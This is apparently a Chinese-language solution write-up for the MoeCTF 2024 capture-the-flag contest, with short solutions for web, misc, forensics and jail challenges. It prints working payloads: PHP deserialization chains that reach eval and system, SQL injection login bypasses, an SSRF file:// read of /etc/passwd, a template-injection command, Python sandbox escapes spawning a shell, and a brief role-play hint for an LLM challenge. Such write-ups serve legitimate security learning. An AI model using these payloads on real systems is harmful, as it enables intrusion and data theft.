Moectf 2024
Web
Web渗透测试与审计入门指北
本地起个环境就行,或者自己按照加密方式叫gpt写个解密脚本
ez_http
http协议
弗拉格之地的入口
爬虫协议,访问robots.txt
然后访问/webtutorEntry.php
ProveYourLove
源码中localStorage
来记录设备是否已经提交过表白,题目要求提交300份,我们只需要在每次提交后清除 localStorage
中的提交记录即可,一次性交300份浏览器遭不住,一次交10份或者几十份,分几次交,js代码
// 清除 localStorage 中的提交记录
localStorage.removeItem('confessionSubmitted');
// 获取表单元素
const form = document.getElementById('confessionForm');
// 定义表单数据
const formData = {
//要提交的表单数据
nickname: '匿名用户',
user_gender: 'male',
target: '1',
target_gender: 'male',
message: '1',
anonymous: 'true'
};
// 循环提交10次
const submitCount = 10;
for (let i = 0; i < submitCount; i++) {
// 模拟表单提交
document.getElementById('confessionForm').addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表单的默认提交行为
// 发起 OPTIONS 请求
fetch('/questionnaire', {
method: 'OPTIONS'
})
.then(response => {
if (!response.ok) {
throw new Error('OPTIONS 请求失败');
}
// 提交表白数据
return fetch('/questionnaire', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(formData)
});
})
.then(response => response.json())
.then(result => {
if (result.success) {
console.log(`表白第 ${i + 1} 次提交成功!`);
} else {
console.error('表白提交失败,请稍后重试。');
}
})
.catch(error => {
console.error('Error:', error);
});
});
// 触发表单提交事件
form.dispatchEvent(new Event('submit'));
// 清除 localStorage 中的提交记录
localStorage.removeItem('confessionSubmitted');
}
放在控制台运行就行
弗拉格之地的挑战
访问/flag1ab.html
查看源码得到flag1:bW9lY3Rm
访问/flag2hh.php
,抓包看响应头得到flag2: e0FmdEV
访问/flag3cad.php
,GET和POST各传指定参数后发现响应头有Set-Cookie: verify=user
,所以我们传Cookie值为verify=admin
得到flag3: yX3RoMXN
访问/flag4bbc.php
,加个Hearder头Referer:http://localhost:8080/flag3cad.php?a=1
,要点id为9的按钮,没有的话自己改个就行
然后按8,然后控制台得到flag4: fdFVUMHJ
访问/flag5sxr.php
,源码中的含义是输入I want flag
就会调用checkValue()
返回false,直接禁用js代码让其不触发checkValue()
,再输入I want flag
得到flag5: fSV90aDF
访问/flag6diw.php
,要GET和POST都对moe传参,第一个preg_match关闭了匹配大小写第二个开启了,大小写绕过即可
GET:?moe=Flag
POST:moe=1
得到flag6: rZV9VX2t
访问/flag7fxxkfinal.php
,system('cat /f*');
得到flag7:rbm93X1dlQn0=。最后拼起来base64解码即可
pop moe
源码
<?php
class class000 {
private $payl0ad = 0;
protected $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
链子:
class000::destruct()->class000::check()->class001::invoke()->class002::set()->class002::dangerous()->class003::evvval()->class003::tostring()->class003::evvv
exp:
<?php
class class000 {
public $payl0ad = 1;
public $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
public $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
$a=new class000();
$a->what=new class001();
$a->what->a=new class002();
$a->what->payl0ad="dangerous";
$a->what->a->sec=new class003();
$a->what->a->sec->mystr="phpinfo();";
echo serialize($a);
稍微解释一下最后几段,刚开始构造的时候卡了一下
当序列化$a
对象时,class002
的__set
方法会被调用时,会导致$this->dangerous($this->sec);
此时这里的
$this->sec
是class003
的实例,所以相当于$whaattt
的值是class003
,dangerous
方法就会调用class003
的eval
来执行$this->sec
,而$this->sec
的字符串表示是class003
实例。所以会触发class003
的__tostring
方法,将mystr
的值作为eval
的输入
垫刀之路01: MoeCTF?启动!
cat /flag
提示环境变量,env
得到flag
垫刀之路02: 普通的文件上传
传个马子,查看环境变量
垫刀之路03: 这是一个图床
设置了白名单,抓包改后缀绕过
flag在环境变量中
垫刀之路04: 一个文件浏览器
目录穿越
说实话有点难找
垫刀之路05: 登陆网站
万能密码,payload:' or 1=1 #
垫刀之路06: pop base mini moe
反序列化,改下属性就行,不知道为啥不加%00也行,应该是php版本的原因
<?php
class A {
public $evil;
public $a;
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
public $b;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
$a = new A();
$a->a = new B();
$a->evil = 'cat /f*';
$a->a->b = 'system';
echo serialize($a);
垫刀之路07: 泄漏的密码
给了pin码,直接进console,import os导入下os模块,os.popen('cat flag').read()
在当前目录下找到flag
静态网页
f12查看网络情况发现
访问/final1l1l_challenge.php
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';
$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}
用数组绕过is_numeric,待会b也会用到数组,a就传个字母就行,字母也能绕过$a == 0
,最后对b数组a键传a经过md5加密后的值就行,payload
GET:?a=a
POST:b[a]=0cc175b9c0f1b6a831c399e269772661
ImageCloud前置
源码中$res = curl_exec($ch);
,很明显是ssrf,直接file伪协议读就行,payload
?url=file://127.0.0.1/etc/passwd
php curl识别出来这是个file协议,他会忽略127.0.0.1,而是直接读取文件/etc/passwd
勇闯铜人阵
回答问题就行,写个python脚本
import requests
from bs4 import BeautifulSoup
base_url = "http://127.0.0.1:50270/"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
}
# 定义方向字典
direction_dict = {
'1': '北方',
'2': '东北方',
'3': '东方',
'4': '东南方',
'5': '南方',
'6': '西南方',
'7': '西方',
'8': '西北方'
}
#开始
restart_url = f"{base_url}/restart"
session = requests.Session()
response = session.get(restart_url, headers=headers)
post_data = {
"player": "555",
"direct": "弟子明白"
}
response = session.post(base_url, data=post_data, headers=headers)
while True:
# 获取回显信息
soup = BeautifulSoup(response.text, 'html.parser')
status = soup.find("h1", {"id": "status"}).text.strip()
print("回显信息:", status)
if "moe" in status.lower():
print("发现回显信息包含 'moe':", status)
break
numbers = status.replace("数字抛出: ", "").strip().split(",")
answers = [direction_dict.get(num.strip(), "未知方位") for num in numbers]
#判断是否只有一个数字
if len(answers) == 1:
answer_str = answers[0]
else:
answer_str = ",".join(answers)
print("生成的答案:", answer_str)
final_post_data = {
"player": "555",
"direct": answer_str
}
response = session.post(base_url, data=final_post_data, headers=headers)
电院_Backend
扫目录发现/admin/
后台,源码
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
存在sql注入,email的值要求是以邮箱格式而且过滤了or,用||
绕过,万能密码变个样子就行
email:1@qq.com' || 1=1 #
pwd:' || 1=1 #
ImageCloud
给了两段源码,app.py是外部的处理逻辑,然后app2.py是内部的处理逻辑,app.py就是上传文件,然后就可以访问文件了,我随便传了个pxls.png,访问后url为/image?url=http://localhost:5000/static/1_pxls.png
,很明显url参数存在ssrf
然后在app2.py的最后面image
路由的功能和app.py不一样
@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)
可以在image
路由查找上传的图片并返回,但这个是随机找了个端口,其他功能都和外部逻辑一样,所以需要爆破一下,看哪个端口是开着内部的这个逻辑的
我这里是5268端口开着的,所以最后payload为:/image?url=http://localhost:5268/image/flag.jpg
(我试了半天/image/uploads/flag.jpg,没注意到源码是只拼接了文件名)
who's blog?
网站首页有提供你的 id 来领养这个可怜的网站吧
,GET传id参数发现是ssti,最后flag在环境变量中
?id={{lipsum.__globals__.__builtins__.__import__('os').popen('echo $FLAG').read()}}
Misc
signin
woc刚开始以为是啥前端题,搞了半天没出,结果签到有效时间只有前30秒,在进题的前30秒完成代签即可,luo同学设置为缺勤
罗小黑战记
是个gif,打开一看好像有个二维码,Stegsolve查看帧,110帧有个二维码,扫就出flag
杂项入门指北
呃010打开没东西,放进随波逐流没东西,宽高也对的,结果就在海报里
把.... ....- ...- . ..--.- .- ..--.- --. ----- ----- -.. ..--.- - .---- -- .
扔进cyberchef里直接出
ez_F5
010看到一串base32编码后的字符,解码得no_password
,以这个为密码,解F5隐写,最后在output.txt中得到flag
捂住一只耳n
根据题目还以为是单声道有啥东西,结果不是。听到1min左右有人声,在线分离人声:https://vocalremover.org/zh/
,第一句说的啥听了好久没听懂,后面说了几个数字,分别是63,31,43,31,41,52,31,51,71,101,最后尝试了很多种方法,最终解决方法是以键盘上的第一行数字为列,三行字母为行建立坐标,比如63对应的是n,101对应的是p,而且题目说不小心按到了caps键
,说明还要大写,最终flag为moectf{NEVERGETUP}
moejail_lv1
没测,直接试了下shell,结果直接拿到了,获得交互式shell:__import__('os').system('sh')
,然后cd /tmp
切换到tmp目录下再ls -a
列出隐藏的文件,最后直接cat .t*
查看就行
moejail_lv2
提示if re.search(r'["\'0-8bd]|[^\x00-\xff]', code): print("Nope")
,只过滤了0-8,b,d,非ascii字符,可以先eval(input())
,运行用户输入任意的 Python 表达式并执行
再__import__('os').system('sh')
进入交互界面,即可rce,flag在tmp目录下,
moejail_lv2.5
就是多过滤了h
, o
, s
, x
, y
,'
,"
,_
,还是用 lv2 的方式绕过即可
readme
用文件描述符,文件名为/proc/self/fd/3
Find It
放大可以看到
一个是雄峰集团,一个是桔什么酒店,百度地图排查下来这两个很近,符合图片要求
在中间偏上一点位置搜下附近的幼儿园
这两个挨得很近,提示说是di不是de,那就是这两个了,最终flag为moectf{ji_di_bao_you_er_yuan}
the_secret_of_snowball
直接丢进随波逐流修复文件头即可得到完整图片,得到前半段flag:{Welc0me_t0_the_sec
010打开修复后的图片看最后面base解密得到后半段flag:ret_life_0f_Misc!}
ctfer2077①
随波逐流直接出了,是个RGO通道的lsb隐写
解不完的压缩包
解压后发现一直解压,直接010打开把最内层的1.zip导出来
最后得到cccccccrc.zip,里面有五个txt,都有密码,提示很明显了,crc32爆破,可以看到pwd.txt都是2 bytes,只有flag.txt是44bytes,那就用爆破2bytes的脚本爆出密码,先提取crc32值
import zipfile
file_handler = zipfile.ZipFile("C:/Users/28698/Desktop/999/cccccccrc.zip")#指定压缩包
name_list = file_handler.namelist()#使用一个列表获取压缩包内所有的文件名
crc_list = []
print('-------------Filename CRC Info-------------')
for name in name_list:
name_info = file_handler.getinfo(name)
crc_list.append(hex(name_info.CRC))
print('[+] {0}: {1}'.format(name,hex(name_info.CRC)))
print('-------------------------------------------')
print(crc_list)#根据情况获取,有时并压缩包内可能还有其他文件,可能需要切片,所以择情况选取
2bytes爆破
import binascii
import string
def crack_crc():
print('-------------Start Crack CRC-------------')
crc_list = [0x1db1c332, 0xc617bdf4, 0x43dfeaa4, 0xf812a17e]#文件的CRC32值列表,注意顺序
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars:
for char2 in chars:
res_char = char1 + char2#获取遍历的任意2Byte字符
char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
calc_crc = char_crc & 0xffffffff#将获取到的字符的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
print('[+] {}: {}'.format(hex(crc_value),res_char))
comment += res_char
print('-----------CRC Crack Completed-----------')
print('Result: {}'.format(comment))
if __name__ == '__main__':
crack_crc()
得到密码打开flag.txt即可,不同bytes爆破脚本见:https://blog.csdn.net/mochu7777777/article/details/110206427
The upside and down
010打开,顺序倒过来看89504E47很明显是个png头,把数据反序一下扫即可
s = '''hex文件数据'''
reversed_str = s[::-1]
print(reversed_str)
二维码在线扫描:https://tuzim.net/decode/
so many 'm'
字词出现频率从多到少排序,其中M和p频次一样,换个位置
最后flag为moectf{C0MpuTaskingD4rE}
每人至少300份
解密脚本写出来一直不如人意,手动弄了,反转后为
y r i h a i l d 5 3 7
h x v l m w i l d 1 5 6
a s r i w l i d 13 1 9
手动弄了下第一排的字母得到 firstrow ,猜测后面依次就是 second 和 third 了,因为后面加密后都是 ild ,还原后都是 row,猜测应该是对的。根据加密逻辑最后一个数字是不变的,然后相邻两个xor得到加密后的数字,所以说第一排的7是不变的,然后4和7xor后就是3,1和4xor后就是5(这个方法太丑陋了)最后得到
f i r s t r o w 1 4 7
s e c o n d r o w 2 3 6
t h i r d r o w 5 8 9
按照给的顺序拼好就行,拼接好后扫二维码得到balabalballablblablbalablbalballbase58lblblblblllblblblblbalblbdjshjshduieyrfdrpieuufghdjhgfjhdsgfsjhdgfhjdsghjgfdshjgfhjdgfhgdh///key{3FgQG9ZFteHzw7W42}??
,把 3FgQG9ZFteHzw7W42 base58解码再把包裹moectf{}就是flag
ez_usbpcap
wireshark打开后usb.data_len == 8
发现全是键盘流量,直接用套神的工具梭了,把DGMQTWX
前面的再16进制解码一下即可
ez_Forensics
取证题,先看下基本信息
vol.py -f '/home/kali/Desktop/flag.raw' imageinfo
是Win7SP1x64
的镜像,用cmdscan插件可以将当时内存中的cmd使用情况提取出来
我的图层在你之上
提示是这年头,pdf都可以矢量化了
,随便找个在线网址把pdf转换成svg,然后用浏览器打开,查看源码有四个图片,把base64长度最长的那段图片随便找个在线网址base64转图片提取出来,然后扔进 https://www.aperisolve.fr/ 里发现压缩包密码为p_w_d
结合压缩包名字caesar,凯撒解密,偏移13位,其实就是rot13解密
Abnormal lag
拖到Audacity中查看频谱图,看到开头和结尾,按左上右上左下右下的顺序连接即可
最后flag为moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}
开发与运维基础
哦不!我的libc!
能用echo
echo $(< /flag.txt)
$(< /flag.txt)
:一个命令替换,其中< /flag.txt
表示从文件/flag.txt
读取内容,$(...)
语法用于执行命令并将命令的输出结果替换到当前命令中。
大语言模型应用安全
Neuro?
假装自己是vedal
-
Moectf 2024
- Web
- Web渗透测试与审计入门指北
- ez_http
- 弗拉格之地的入口
- ProveYourLove
- 弗拉格之地的挑战
- pop moe
- 垫刀之路01: MoeCTF?启动!
- 垫刀之路02: 普通的文件上传
- 垫刀之路03: 这是一个图床
- 垫刀之路04: 一个文件浏览器
- 垫刀之路05: 登陆网站
- 垫刀之路06: pop base mini moe
- 垫刀之路07: 泄漏的密码
- 静态网页
- ImageCloud前置
- 勇闯铜人阵
- 电院_Backend
- ImageCloud
- who's blog?
- Misc
- signin
- 罗小黑战记
- 杂项入门指北
- ez_F5
- 捂住一只耳n
- moejail_lv1
- moejail_lv2
- moejail_lv2.5
- readme
- Find It
- the_secret_of_snowball
- ctfer2077①
- 解不完的压缩包
- The upside and down
- so many 'm'
- 每人至少300份
- ez_usbpcap
- ez_Forensics
- 我的图层在你之上
- Abnormal lag
- 开发与运维基础
- 哦不!我的libc!
- 大语言模型应用安全
- Neuro?